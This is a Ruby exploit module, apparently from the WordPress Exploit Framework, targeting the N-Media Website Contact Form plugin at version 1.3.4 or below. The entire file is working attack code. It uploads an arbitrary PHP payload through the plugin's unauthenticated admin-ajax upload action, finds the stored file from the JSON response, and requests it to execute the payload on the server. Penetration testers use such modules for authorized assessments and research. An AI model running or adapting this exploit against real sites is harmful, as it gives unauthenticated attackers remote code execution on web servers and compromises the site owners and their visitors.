# frozen_string_literal: true

class Wpxf::Exploit::NMediaWebsiteContactFormShellUpload < Wpxf::Module
  include Wpxf

  def initialize
    super

    update_info(
      name: 'N-Media Website Contact Form <= 1.3.4 Shell Upload',
      desc: 'This module exploits a file upload vulnerability in versions '\
            '<= 1.3.4 of the N-Media Website Contact Form plugin which '\
            'allows unauthenticated users to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'Claudio Viviani', # Vulnerability discovery
        'rastating'        # WPXF module
      ],
      references: [
        ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
        ['WPVDB', '7896']
      ],
      date: 'Apr 12 2015'
    )
  end

  def check
    check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
  end

  def payload_body_builder(payload_name)
    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('Filedata', payload.encoded, payload_name)
    builder.add_field('action', 'nm_webcontact_upload_file')
    builder
  end

  def run
    return false unless super

    emit_info 'Preparing payload...'
    payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
    builder = payload_body_builder(payload_name)

    emit_info 'Uploading payload...'
    res = nil
    builder.create do |body|
      res = execute_post_request(url: wordpress_url_admin_ajax, body: body)
    end

    if res.nil? || res.timed_out?
      emit_error 'No response from the target'
      return false
    end

    if res.code != 200 || res.body !~ /filename/i
      emit_info "Response code: #{res.code}", true
      emit_info "Response body: #{res.body}", true
      emit_error 'Failed to upload payload'
      return false
    end

    begin
      stored_name = JSON.parse(res.body)['filename']
    rescue StandardError => e
      emit_info "Response body: #{res.body}", true
      emit_error "Failed to parse response: #{e}"
      return false
    end

    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', stored_name)
    emit_success "Uploaded the payload to #{payload_url}", true

    emit_info 'Executing the payload...'
    res = execute_get_request(url: payload_url)
    if res && res.code == 200 && !res.body.strip.empty?
      emit_success "Result: #{res.body}"
    end

    return true
  end
end
